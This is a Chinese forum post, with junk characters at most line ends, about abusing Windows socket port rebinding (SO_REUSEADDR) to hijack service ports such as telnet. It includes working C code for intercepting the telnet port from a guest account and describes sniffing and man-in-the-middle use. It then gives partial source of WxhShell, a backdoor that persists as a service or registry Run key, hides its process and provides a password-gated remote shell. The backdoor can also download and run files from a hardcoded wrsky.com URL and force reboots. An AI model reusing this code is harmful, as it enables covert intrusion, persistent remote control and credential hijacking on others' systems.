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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @8rx`9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :~N-.#  
} .y 1;.  
  saddr.sin_family = AF_INET; .I0qGg  
Bj-: #P@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _k ~KZ;l  
s %\-E9 T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v"XGCi91L  
y0.8A-2:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .Cl:eu,]  
c*L\_Vx+  
  这意味着什么?意味着可以进行如下的攻击: iq( E'`d  
6){]1h"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e-#BDN(O  
nWYN Np?h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QD*35Y!d  
[dIXR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !1 8clL  
aa#Y=%^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jx7C'~,J  
H0`]V6+<f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -0{r>,&Mm  
#S*/bao#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9V@V6TvW>&  
G5aieD.#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K<qk.~ S  
+:!7L= N#  
  #include q[W 0 N >  
  #include Q&=w_Wc  
  #include 4Vi`* !  
  #include    1A G<$d5U|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >A"v ed8  
  int main() DiwxXqY  
  { T)TfB(  
  WORD wVersionRequested; 6BbGA*%{  
  DWORD ret; |G,tlchprs  
  WSADATA wsaData; z(Pe,zES  
  BOOL val; .e=:RkI,  
  SOCKADDR_IN saddr; p,>5\Zre~  
  SOCKADDR_IN scaddr; L`p4->C9A  
  int err; D rHV G  
  SOCKET s; a>]uU*Xm  
  SOCKET sc; vMt/u?oB  
  int caddsize; :xv!N*Le  
  HANDLE mt; vK\%%H  
  DWORD tid;   ^l=!JP=M=  
  wVersionRequested = MAKEWORD( 2, 2 ); }v!$dr,j '  
  err = WSAStartup( wVersionRequested, &wsaData ); -$jEfi4I  
  if ( err != 0 ) { W~~7 C,!  
  printf("error!WSAStartup failed!\n"); fW3(&@  
  return -1; I]<_rN8~o  
  } p&bROuw<T  
  saddr.sin_family = AF_INET; S^>,~R.TX  
   .C( eh   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >qjq=Ege  
b8"?VS5-"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N OiN^::m  
  saddr.sin_port = htons(23); ]?+p5;{y4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !K}~/9Z=m  
  { JedmaY06=  
  printf("error!socket failed!\n"); L> 9V&\  
  return -1; 8WbgSY`  
  } &d+Kg0:  
  val = TRUE; 0y;*Cfi9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n}_JB>i~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?Exv|e  
  { V#t%/l  
  printf("error!setsockopt failed!\n"); qx8fRIK%  
  return -1; . Z.)t  
  } Mg OR2,cR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =2zJ3&9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hp* /#D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (k) l= ]`}  
o-{[|/)Tk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 57zSu3v4Y  
  { [los dnH^?  
  ret=GetLastError(); 5JCG2jqx0  
  printf("error!bind failed!\n"); y8L D7<1u  
  return -1; wrbLDod /  
  } Iw&vTU=2  
  listen(s,2); wNtx]t_M  
  while(1) D 38$`j  
  { cU@SIJ)  
  caddsize = sizeof(scaddr); [}/LD3  
  //接受连接请求 [t7]{d*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i2YuOV!  
  if(sc!=INVALID_SOCKET) (?`kYTw7g'  
  { \h DdU+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z4+k7a@jn  
  if(mt==NULL) d`nVc50  
  { XZJ+h,f  
  printf("Thread Creat Failed!\n"); OjF_ %5  
  break; Ib\iT:AJ  
  } 9:,\gw>F  
  } | e?64%l5P  
  CloseHandle(mt); ,TPISs  
  } g[I b,la_a  
  closesocket(s); L%K\C  
  WSACleanup(); c^u"I'#Q  
  return 0; ,M6 Sy]Aj  
  }   #qI= Z0Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) {u\Mj  
  { "@d[h,TM  
  SOCKET ss = (SOCKET)lpParam; wsN?[=l{s  
  SOCKET sc; }YMy6eW4  
  unsigned char buf[4096]; t!x5fNo)  
  SOCKADDR_IN saddr; C\nhqkn  
  long num; m&\h4$[kql  
  DWORD val; sqJSSNt  
  DWORD ret; \ 3?LqJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?~;:jz|9<'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]dk8lZ;bo  
  saddr.sin_family = AF_INET; ("+}=*?OF3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kc @[9eV  
  saddr.sin_port = htons(23); VUYmz)m5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q7$.LEioN  
  { Tekfw  
  printf("error!socket failed!\n"); h0-hT   
  return -1; <]4i`6{v  
  } ;F#7Px(q  
  val = 100; ?) [EO(D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }!/$M\w  
  { k.^co I5  
  ret = GetLastError(); &f^l ^K 5:  
  return -1; Jn3 An  
  } *l;B\=KR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Y_i4(  
  { 1jPJw3"3h  
  ret = GetLastError(); {]_r W/  
  return -1; N:tY":Hi  
  } '+vA\(K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w@ c87;c  
  { UkHY[M7;  
  printf("error!socket connect failed!\n"); rEv*)W  
  closesocket(sc); r8&^>4  
  closesocket(ss); OD 3f.fT  
  return -1; E3l> 3  
  } _~tEw.fM5  
  while(1) \&3"<6xA  
  { f=!VsR2o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {g~bQ2wDC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CI :`<PZ\-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t" 7yNs(I  
  num = recv(ss,buf,4096,0); \, &co  
  if(num>0) Nl9I*x^e  
  send(sc,buf,num,0); f0<%&2ym  
  else if(num==0) ]oV{t<0a  
  break; QgD g}\P  
  num = recv(sc,buf,4096,0); nJ"YIT1K]p  
  if(num>0) ]%Nlv(  
  send(ss,buf,num,0); ^Q ps> A(  
  else if(num==0) nF4a-H&Fo  
  break; d,tU#N{Q6  
  } mBJeqG  
  closesocket(ss); TsUOpEuX  
  closesocket(sc); -zO2|@S,  
  return 0 ; {^rs#, W  
  } k`9)=&zX+  
g'u?Rn 7*J  
<[J[idY1he  
========================================================== -,aeM~  
V8wKAj Ux  
下边附上一个代码,,WXhSHELL B Ma)O  
@81Vc<dJ  
========================================================== >'xGp7}y  
gE hN3(  
#include "stdafx.h" @]c(V%x   
,i6RE  
#include <stdio.h> `^Eae  
#include <string.h> ?EpSC&S\  
#include <windows.h> ?@t  d  
#include <winsock2.h> pD2<fP_  
#include <winsvc.h> c8M2 ^{O,`  
#include <urlmon.h> ww{_c]My  
Za7q$7F7Bc  
#pragma comment (lib, "Ws2_32.lib") P^Q[-e{  
#pragma comment (lib, "urlmon.lib") kctzNGF|  
^(f4*m6`  
#define MAX_USER   100 // 最大客户端连接数 L0]_hxE?  
#define BUF_SOCK   200 // sock buffer @a>2c$%  
#define KEY_BUFF   255 // 输入 buffer ]cC[-F[  
R@yyur~'_(  
#define REBOOT     0   // 重启 {d%&zvJnD  
#define SHUTDOWN   1   // 关机 9W>Y#V~|v!  
5,;`$'?a%  
#define DEF_PORT   5000 // 监听端口 G"59cv8z4R  
a7/-wk  
#define REG_LEN     16   // 注册表键长度 \WrFqm#  
#define SVC_LEN     80   // NT服务名长度 C"qU-&*v  
lvpc*d|K  
// 从dll定义API X$\i{p9jw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fiI $T:g.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w[-Fm+A>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <U9/InN0[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EQIo5  
{"H2 :-t<  
// wxhshell配置信息 1?Aga,~k:a  
struct WSCFG { o}'bv  
  int ws_port;         // 监听端口 \cJ-Dd  
  char ws_passstr[REG_LEN]; // 口令 $]&(7@'qo  
  int ws_autoins;       // 安装标记, 1=yes 0=no W Qzj[  
  char ws_regname[REG_LEN]; // 注册表键名 lhYn5d)DV  
  char ws_svcname[REG_LEN]; // 服务名 q *AQq=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #W2[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y'3}G<'%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 asgF1?r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]G}B 0u3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 's!-80sd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ExXM:1 e26  
0l#)fJo  
}; 9H]Lpi^OH  
=}fd6ea(o  
// default Wxhshell configuration @C-dG7U.P  
struct WSCFG wscfg={DEF_PORT, R,!Q Zxmg  
    "xuhuanlingzhe", Ld,5iBiO:  
    1, B 2 .q3T  
    "Wxhshell", wVA|!>v  
    "Wxhshell", XfzVcap  
            "WxhShell Service", PaCzr5!~f  
    "Wrsky Windows CmdShell Service", _0 snAt^iC  
    "Please Input Your Password: ", >(tn"2  
  1, /Go K}W}  
  "http://www.wrsky.com/wxhshell.exe", Uo_tUp_Q  
  "Wxhshell.exe" ]Lqt( c  
    }; W:VP1 :  
8{Fm[ %"  
// 消息定义模块 t.hm9}UQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vjm_F!S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M}"r#Plq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yISD/ g  
char *msg_ws_ext="\n\rExit."; w*w?S  
char *msg_ws_end="\n\rQuit."; L1)@z8]   
char *msg_ws_boot="\n\rReboot..."; tue/4Q#7  
char *msg_ws_poff="\n\rShutdown..."; $H'X V"<o  
char *msg_ws_down="\n\rSave to "; %YlTF\-  
$\Tkhq<  
char *msg_ws_err="\n\rErr!"; VnJMmMM  
char *msg_ws_ok="\n\rOK!"; "x&C5l}n  
2 vKx]w  
char ExeFile[MAX_PATH]; >1irSUj"~  
int nUser = 0; F[7x*-NO-  
HANDLE handles[MAX_USER]; bT!($?GNdg  
int OsIsNt; B7-RU<n  
9f}XRz  
SERVICE_STATUS       serviceStatus; )06iV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4*UP. r@  
:PnSQjV:  
// 函数声明 N\1/JW+  
int Install(void); I]J*BD#n.  
int Uninstall(void); ;<G<1+  
int DownloadFile(char *sURL, SOCKET wsh); ;+I4&VieK  
int Boot(int flag); vV`|!5x  
void HideProc(void); C;\VO)]t  
int GetOsVer(void); 9;r? nZT/  
int Wxhshell(SOCKET wsl); g42R 'E%  
void TalkWithClient(void *cs); -05U%l1e  
int CmdShell(SOCKET sock); TL)O-  
int StartFromService(void); gS"Q=ZK"  
int StartWxhshell(LPSTR lpCmdLine); r7!J&8;{K  
vh>{_ #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <-jGqUN_I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); af+}S9To  
8h?X!2Nq  
// 数据结构和表定义 3On JWuVfZ  
SERVICE_TABLE_ENTRY DispatchTable[] = q:HoKJv4  
{ Ew^ @Aq  
{wscfg.ws_svcname, NTServiceMain}, WY)^1Gb$ux  
{NULL, NULL} s"0b%0?A  
}; hK}bj  
2neRJ  
// 自我安装 G\Q9IcJ0dY  
int Install(void) ^^$vR[7  
{ #Y,A[Y5jX  
  char svExeFile[MAX_PATH]; >e8JK*Blz  
  HKEY key; bv\ A,+  
  strcpy(svExeFile,ExeFile); 0B0G2t&hr  
?SUQk55w  
// 如果是win9x系统,修改注册表设为自启动 ,\h YEup  
if(!OsIsNt) { _Nu` )m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hD 46@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! VRI_c  
  RegCloseKey(key); z-0:m|=yH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `.k5v7!o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o|2 87S|$  
  RegCloseKey(key); C?Qf F{!7  
  return 0; yCM{M  
    } <~%t$:  
  } zw:/!MS  
} u2`xC4>c  
else { 8g5V,3_6  
|Odu4 Q  
// 如果是NT以上系统,安装为系统服务 .Y/-8H-3v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l6B.6 '4)w  
if (schSCManager!=0) T~Yg5J  
{ Cals?u#U=  
  SC_HANDLE schService = CreateService B {i&~k  
  ( Tj,Nmb>Q7'  
  schSCManager, rqvU8T7A  
  wscfg.ws_svcname, 6dT|;koWbm  
  wscfg.ws_svcdisp, f Lk"tW  
  SERVICE_ALL_ACCESS, ~{ .,8jE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [w%#<5h  
  SERVICE_AUTO_START, /;UTC)cJ  
  SERVICE_ERROR_NORMAL, P6OM)>C  
  svExeFile, l/V&s<  
  NULL, fJ :jk6@  
  NULL, Nz]aaoO4  
  NULL, -iQsi4  
  NULL, "<dN9l>  
  NULL M5+W$W  
  ); q=[U }{  
  if (schService!=0) !yCl(XT  
  { 6IF|3@yD  
  CloseServiceHandle(schService); [u\CDsX  
  CloseServiceHandle(schSCManager); px&=((Z7>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [>uwk``_  
  strcat(svExeFile,wscfg.ws_svcname); iy 3DX|]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fi{mr*}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]]V^:"ne  
  RegCloseKey(key); anZIB  
  return 0; Z)v)\l9d  
    } 0P:F97"1,  
  } {dZ8;Fy4  
  CloseServiceHandle(schSCManager); 9XN~Ln@}  
} aT/KT,!  
}  ,(hY%M&\  
Gt.*_E  
return 1; |7S:l9;  
} F9D"kG;Dk  
`]yKM0 Z  
// 自我卸载 qi[(*bFK7  
int Uninstall(void) s@M  
{ kOM-  
  HKEY key; H5^Y->  
& 3I7]Wm  
if(!OsIsNt) { sRil>6QR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s{%fi*  
  RegDeleteValue(key,wscfg.ws_regname); 6(5c7R#  
  RegCloseKey(key); 3z$\&& BR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @S}|Ccfc_  
  RegDeleteValue(key,wscfg.ws_regname); g&aT!%QvX+  
  RegCloseKey(key); W,'3D~g8  
  return 0; 'h:!m/1  
  } fsb=8>}63}  
} Pu/lpHm|  
} +wjlAqMQ  
else { ]J~g'">  
v7$9QVze  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^AH-+#5  
if (schSCManager!=0) wO\!xW:  
{ @>9A$w$H|a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8ok7|DJ  
  if (schService!=0) 8I {56$  
  { H!^C2  
  if(DeleteService(schService)!=0) { u> In(7\  
  CloseServiceHandle(schService); JbVi1?c  
  CloseServiceHandle(schSCManager); 6A@Lj*:2m  
  return 0; %1@.7 uTN  
  } 0<"tl0p_  
  CloseServiceHandle(schService); :=B[y D!  
  } nR#a)et  
  CloseServiceHandle(schSCManager); =1&}t%<X  
} OUKj@~T  
} {9,R@>R  
8s&2gn1  
return 1; _.hIv8V  
} i&B?4J)  
zVn*!c  
// 从指定url下载文件 GHqBnE{B  
int DownloadFile(char *sURL, SOCKET wsh) vzQyE0T/  
{ @Yb Z 8Uc  
  HRESULT hr; /TG| B Eb  
char seps[]= "/";  2w;G4  
char *token; +;5Wp$ M\  
char *file; 5D >BV *"  
char myURL[MAX_PATH]; @<%oIE~]F  
char myFILE[MAX_PATH]; 3Y=,r!F.h  
(#lm#?<)  
strcpy(myURL,sURL); fLc!Sn.Y  
  token=strtok(myURL,seps); V4qZc0<,H  
  while(token!=NULL) !4!S{#<q  
  { 2@OBeR  
    file=token; `,Q<YT ~  
  token=strtok(NULL,seps); ] +sSg=N7i  
  } >dcqPNDg1^  
1_XO3P\  
GetCurrentDirectory(MAX_PATH,myFILE); nN!vgn j  
strcat(myFILE, "\\"); la1D2 lM  
strcat(myFILE, file); MH2OqiCI  
  send(wsh,myFILE,strlen(myFILE),0); <m:4g ,6  
send(wsh,"...",3,0); >J?jr&i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {[rO2<MkA#  
  if(hr==S_OK) 939]8BERt  
return 0; Ig='a"%  
else hu`L v  
return 1; Fj36K6!#?  
'XG:1Bpm  
} h7)VJY  
6Eij>{v  
// 系统电源模块 `mQP{od?"?  
int Boot(int flag) 1'gKZB)TG7  
{ /,-h%gj  
  HANDLE hToken; knI*-  
  TOKEN_PRIVILEGES tkp; @DUN;L 4  
2"B}}  
  if(OsIsNt) { LJ:mJ#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | 3hT{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $a)J CErN  
    tkp.PrivilegeCount = 1; hG< a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :K!GR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (0Zrfu^  
if(flag==REBOOT) { `,hW;p>-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5>0\e_V  
  return 0; 0]/,m4a#n  
} 5? S{W  
else { :4Id7Ce  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _wIBm2UO  
  return 0; &*LA_]1@  
} Y8{T.\%\+  
  } >}xAg7\^  
  else { w50.gr7  
if(flag==REBOOT) { OYQXi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?*(r1grHl  
  return 0; ptnMCF  
} f]{1ZU%4  
else { /7!_un9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >;T$#LZ  
  return 0; "P>$=X~Zi  
} ym-lT|>Z  
}  3J'Bm"  
,k`YDy|#e  
return 1; B Lsdx }  
} (xjoRbU*  
Fv5x6a  
// win9x进程隐藏模块 )M&I)In'  
void HideProc(void) *B)Jv9  
{ U4 go8  
tIc0S!H#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GF$rPY[  
  if ( hKernel != NULL ) 8YT_DM5iI  
  { . x\/XlM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "^e}C@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /\oyPD`((  
    FreeLibrary(hKernel); EU&6 Tg  
  } ]x5(bnW x  
y^0HCp{  
return; {+9^PC_hm;  
} cQUH%7m  
QiQ2XW\E  
// 获取操作系统版本 oX=*MEfX  
int GetOsVer(void) v#T?YK  
{ c1Fru  
  OSVERSIONINFO winfo; QI :/,w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mfp`Iy"}+  
  GetVersionEx(&winfo); ~{3o(gzl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wfi:wCqZG  
  return 1; 2<\yky  
  else Ah8^^h|TPJ  
  return 0; P?yOLG+)l)  
} WsK"^"Z  
@[[C s*-  
// 客户端句柄模块 |zRoXO`]-*  
int Wxhshell(SOCKET wsl) h>mBkJ {  
{ 7><* 9iOW  
  SOCKET wsh; R?={{+O  
  struct sockaddr_in client; 5KA FUR0  
  DWORD myID; hr$VVbOho  
;c \zgs~"T  
  while(nUser<MAX_USER) D!OG307P  
{ +lk\oj$S+  
  int nSize=sizeof(client); inq4CGY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4P-'(4I)  
  if(wsh==INVALID_SOCKET) return 1; m,"cbJ /  
nf+"vr}1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Y>cBSO  
if(handles[nUser]==0) NXV~[  
  closesocket(wsh); yC&b-y  
else k7Be'E BKG  
  nUser++; It!.*wp  
  } =km-` }I,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <(6-9(zHa  
u\Erta`  
  return 0; 2+r )VF:  
} EnsNO_"e|  
@poMK:  
// 关闭 socket X&;]  
void CloseIt(SOCKET wsh) $ uIwRG <  
{ pyb}ha  
closesocket(wsh); I,`D&   
nUser--; h9)]N&07b  
ExitThread(0); 2Xq!'NrS  
} x:&L?eOT  
tp,mw24  
// 客户端请求句柄 "*H'bzK  
void TalkWithClient(void *cs) a_}BTkfHa  
{ T/spUlWu  
D/%b@Ls2ze  
  SOCKET wsh=(SOCKET)cs; wYS KtG~/S  
  char pwd[SVC_LEN]; "YdDaj</  
  char cmd[KEY_BUFF]; |WwFE|<  
char chr[1]; dBD4ogo1  
int i,j; \qK}(xq[  
Ws}kb@5  
  while (nUser < MAX_USER) { q[,R%6&'  
f4\p1MYQ  
if(wscfg.ws_passstr) { *M\i4FO8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l7r N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]@j"0F/`  
  //ZeroMemory(pwd,KEY_BUFF); =[tls^  
      i=0; QWQ6j#`  
  while(i<SVC_LEN) { X0r#,u  
Stp*JU  
  // 设置超时 { P\8g8  
  fd_set FdRead; >i#_)th"U!  
  struct timeval TimeOut; 9rvxp;  
  FD_ZERO(&FdRead); KohQ6q  
  FD_SET(wsh,&FdRead); 5yN8%_)T  
  TimeOut.tv_sec=8; eABdy e  
  TimeOut.tv_usec=0; Xy(SzJ %  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D*2p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $d"f/bRWy  
1 069]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Xb}I;rM  
  pwd=chr[0]; i6\!7D]  
  if(chr[0]==0xd || chr[0]==0xa) { odT7Gq  
  pwd=0; />j+7ts  
  break; >|o9ggL`J5  
  } & b^*N5<Z  
  i++; B,na  
    } x2IU PM  
JI#Enh!Lv  
  // 如果是非法用户,关闭 socket r7BH{>-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }SvWC8  
} OTjryJ^  
:\= NH0M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r(xlokpnb6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (R|FQdH  
CFrHNU  
while(1) { 3,cE/Ei  
u B%^2{uU  
  ZeroMemory(cmd,KEY_BUFF); j &[WE7wf  
EvardUB)  
      // 自动支持客户端 telnet标准   ~b<4>"7y.  
  j=0; X]^E:'E!  
  while(j<KEY_BUFF) { >b"z`{tE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {O,M}0Eg  
  cmd[j]=chr[0];  F3r  
  if(chr[0]==0xa || chr[0]==0xd) { aKFA&Xnsl  
  cmd[j]=0; )LMuxj  
  break; #WmAkzvq  
  } `m0Uj9)#  
  j++; t>|N4o  
    } )/i|"`)>_  
1^"aR#  
  // 下载文件 WuQ<AS=   
  if(strstr(cmd,"http://")) { #1hz=~YO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .AI'L|FQ%c  
  if(DownloadFile(cmd,wsh)) [^BUhm3a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~<}\0  
  else U:p"IY#%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]?^xc[  
  } 6)2M/(  
  else { )tQ6rd'  
U.sPFt  
    switch(cmd[0]) { T9v#Jb6  
  j I@$h_n  
  // 帮助 ?RAR  
  case '?': { + d)~;I$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]f @LhC1x  
    break; fB"gM2'  
  } Cspm\F  
  // 安装 -oT+;2\2  
  case 'i': { iwx0V  
    if(Install()) F,2#;t4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4O"kOEkKT>  
    else J9t?]9.,:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/UVKJm>:  
    break; |a:VpM  
    } Uht:wEr  
  // 卸载 ]~ eWr2uG?  
  case 'r': { 0guc00IN  
    if(Uninstall()) v5ddb)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<:SdtG5  
    else w*kFtNBfU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h_"/@6  
    break; G9":z|  
    } f]65iE?x  
  // 显示 wxhshell 所在路径 ewPdhCK  
  case 'p': { >w#3fTJ  
    char svExeFile[MAX_PATH]; .vF< 3p|  
    strcpy(svExeFile,"\n\r"); ]=VI"v<X  
      strcat(svExeFile,ExeFile); 2s ,n!u Fd  
        send(wsh,svExeFile,strlen(svExeFile),0); Sq]1SW3  
    break; :=7;P)  
    } Ywq+l]5/p  
  // 重启 bjX$idL  
  case 'b': { YHtI%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L k+1r8  
    if(Boot(REBOOT)) \I{A33i2w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rX d2[pp  
    else { Y]0y -H  
    closesocket(wsh); ghR]$SG  
    ExitThread(0); fB}5,22  
    } 'ZgW~G]S  
    break; ri V/wN9C  
    } {!bJ.O l  
  // 关机 t[ocp;Q  
  case 'd': { T mE4p  
